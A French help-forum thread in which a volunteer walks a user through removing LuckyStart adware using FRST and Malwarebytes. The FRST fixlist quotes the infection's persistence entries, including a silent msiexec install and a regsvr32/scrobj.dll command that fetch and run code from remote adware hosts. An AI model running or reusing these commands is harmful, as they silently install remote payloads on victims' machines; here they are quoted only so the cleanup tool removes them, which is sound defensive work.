Supprimer LuckyStart Résolu/Fermé

Question

Bonjour, 

J'appelle à l'aide pour supprimer le virus LuckyStart de mon PC. J'ai dû le télécharger en même temps qu'autre chose mais impossible de savoir quoi, je suis vraiment précautionneuse dans mes téléchargements et le début des problèmes ne coïncide avec aucun téléchargement...
Cette cochonnerie me bombarde de publicités et surtout, compromet la sécurité de mon PC. Pour le supprimer, j'ai fais les analyses complètes avec AdwCleaner, Malwarebytes et ZHPCleaner. J'ai également restauré Chrome (navigateur par défaut). 
Pourtant, rien à faire, le virus reste là et heureusement, Malwarebytes me bloque pas mal de pubs mais ça reste plus que problématique...

Aidez-moi, s'il vous plaît !

Configuration: Windows / Chrome 57.16.2987.98

Malekal_morte- · Answer

Salut,


Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

 Réparer Mozilla Firefox (premier paragraphe)
 Réparer Google Chrome (seulement le premier paragraphe).
 Réinitialiser et réparer Internet Explorer

puis :

Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 3 rapports FRST seront générés :

 FRST.txt
 Shortcut.txt
 Additionnal.txt

Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

Elise · Answer

Bonsoir, merci beaucoup pour la réponse ! Voici les trois documents : 

FRST : http://pjjoint.malekal.com/files.php?id=FRST_20170419_p7f11g12n11t15

Shortcut : http://pjjoint.malekal.com/files.php?id=20170419_m7v14m14v15j11

Additionnal : http://pjjoint.malekal.com/files.php?id=20170419_t6f12g11n8i12

En tout cas, merci pour l'aide, c'est vraiment sympa.

Malekal_morte- · Answer

Pas de soucis =)

Désinstalle Spybot, inefficace.


Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R, 
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit : 

CreateRestorePoint:CloseProcesses: HKU\S-1-5-21-2539642777-985036994-1806898003-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj8yF8JWNThLNWYxOYRQOTwcNdqyM8U3RTRQMdZYMTZSFq%3D%3D /q [Pays US - 104.24.101.133]   R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2016-11-02] (Filseclab Corporation Limited)    2017-04-19 13:56 - 2017-04-19 13:56 - 00000007 _____ C:\Windows\SysWOW64\FA17.tmp   2017-04-19 13:56 - 2017-04-19 13:56 - 00000000 ____D C:\Users\Liloo\AppData\Local\Dohat  2017-04-19 13:55 - 2017-04-19 13:55 - 00000000 ____D C:\Users\Liloo\AppData\Local\3DM  2017-04-19 13:55 - 2017-04-19 13:55 - 00000000 ____D C:\Program Files (x86)\Dohat  2017-04-19 13:50 - 2017-04-19 13:55 - 00000000 ____D C:\Program Files (x86)\BiaoJi 2017-04-13 14:13 - 2017-04-13 14:13 - 00000000 ___HD C:\  2017-04-13 14:12 - 2017-04-13 14:13 - 00000000 ____D C:\Users\Liloo\AppData\Roaming\SSMgre  2017-04-13 13:04 - 2017-04-19 17:52 - 00000000 ____D C:\wifidata  2017-04-13 13:03 - 2017-04-13 13:03 - 01529384 _____ (IO3O LLC ) C:\Users\Liloo\Downloads\mywifi.exe    2017-04-19 17:07 - 2017-04-19 17:09 - 57131432 _____ (Malwarebytes ) C:\Users\Liloo\Downloads\mb3-setup-SEMFD.100SEM-3.0.6.1469-1075.exe  2017-04-19 14:50 - 2017-04-19 14:50 - 00002240 _____ C:\Users\Public\Desktop\Google Chrome.lnk   2017-04-19 14:49 - 2017-04-19 14:50 - 01129376 _____ (Google Inc.) C:\Users\Liloo\Downloads\ChromeSetup(1).exe  2017-04-19 14:28 - 2017-04-19 14:28 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome (2).exe  2017-04-19 14:20 - 2017-04-19 14:21 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome (1).exe  2017-04-19 14:12 - 2017-04-19 14:12 - 10096216 _____ (Google Inc.) C:\Users\Liloo\Downloads\WidevineMediaOptimizerChrome.exe   2017-04-13 14:13 - 2017-03-18 15:16 - 00000000 ____D C:\Users\Liloo\AppData\Roaming\ScreenShot   Task: {FE28D81C-FA79-4931-80F3-1A54E4901C80} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj8yF8JWNThLNWYxOYRQOTwcNdqyM8U3RTRQMdZYMTZSFq== scrobj.dllHosts:EmptyTemp:RemoveProxy:Reboot:

Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",

A gauche, place toi sur le Bureau,

Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.


Redémarre l'ordinateur.



2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

 Réparer Mozilla Firefox (premier paragraphe)
 Réparer Google Chrome (seulement le premier paragraphe).
 Réinitialiser et réparer Internet Explorer

3°)
fais un nettoyage Malwarebytes -  Tutoriel Malwarebytes Anti-Malware version gratuite 

Vois s'il y a des améliorations 
 
Veuillez appuyer sur une touche pour continuer la désinfection...

Elise · Answer

Merci beaucoup pour l'aide.

A priori, le virus a été viré ! J'avais également un problème pour regarder les vidéos Netflix, il semblerait qu'un composant Chrome a été supprimé à cause de cette cochonnerie. Et là, tout remarche ! 
Est-ce qu'il y a une manière de s'assurer que tout a bien été nettoyé ?

En tout cas, tu me sauve, merci beaucoup d'avoir pris le temps de m'aider.

Malekal_morte- · Answer

ca m'a l'air bon :)



Supprime le dossier C:\FRST


Termine par un nettoyage Malwarebytes -  Tutoriel Malwarebytes Anti-Malware version gratuite 


Quelques conseils : 

Pour ne plus te faire avoir. 
A lire - Programmes parasites / PUPs : Dossier Adwares/PUPs : programmes indésirables et parasites
(Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)

Elise · Answer

Et bien, merci beaucoup pour avoir pris le temps de m'aider, je sais pas ce que j'aurais pu faire, sinon !

Supprimer LuckyStart

6 réponses

Discussions similaires

Newsletters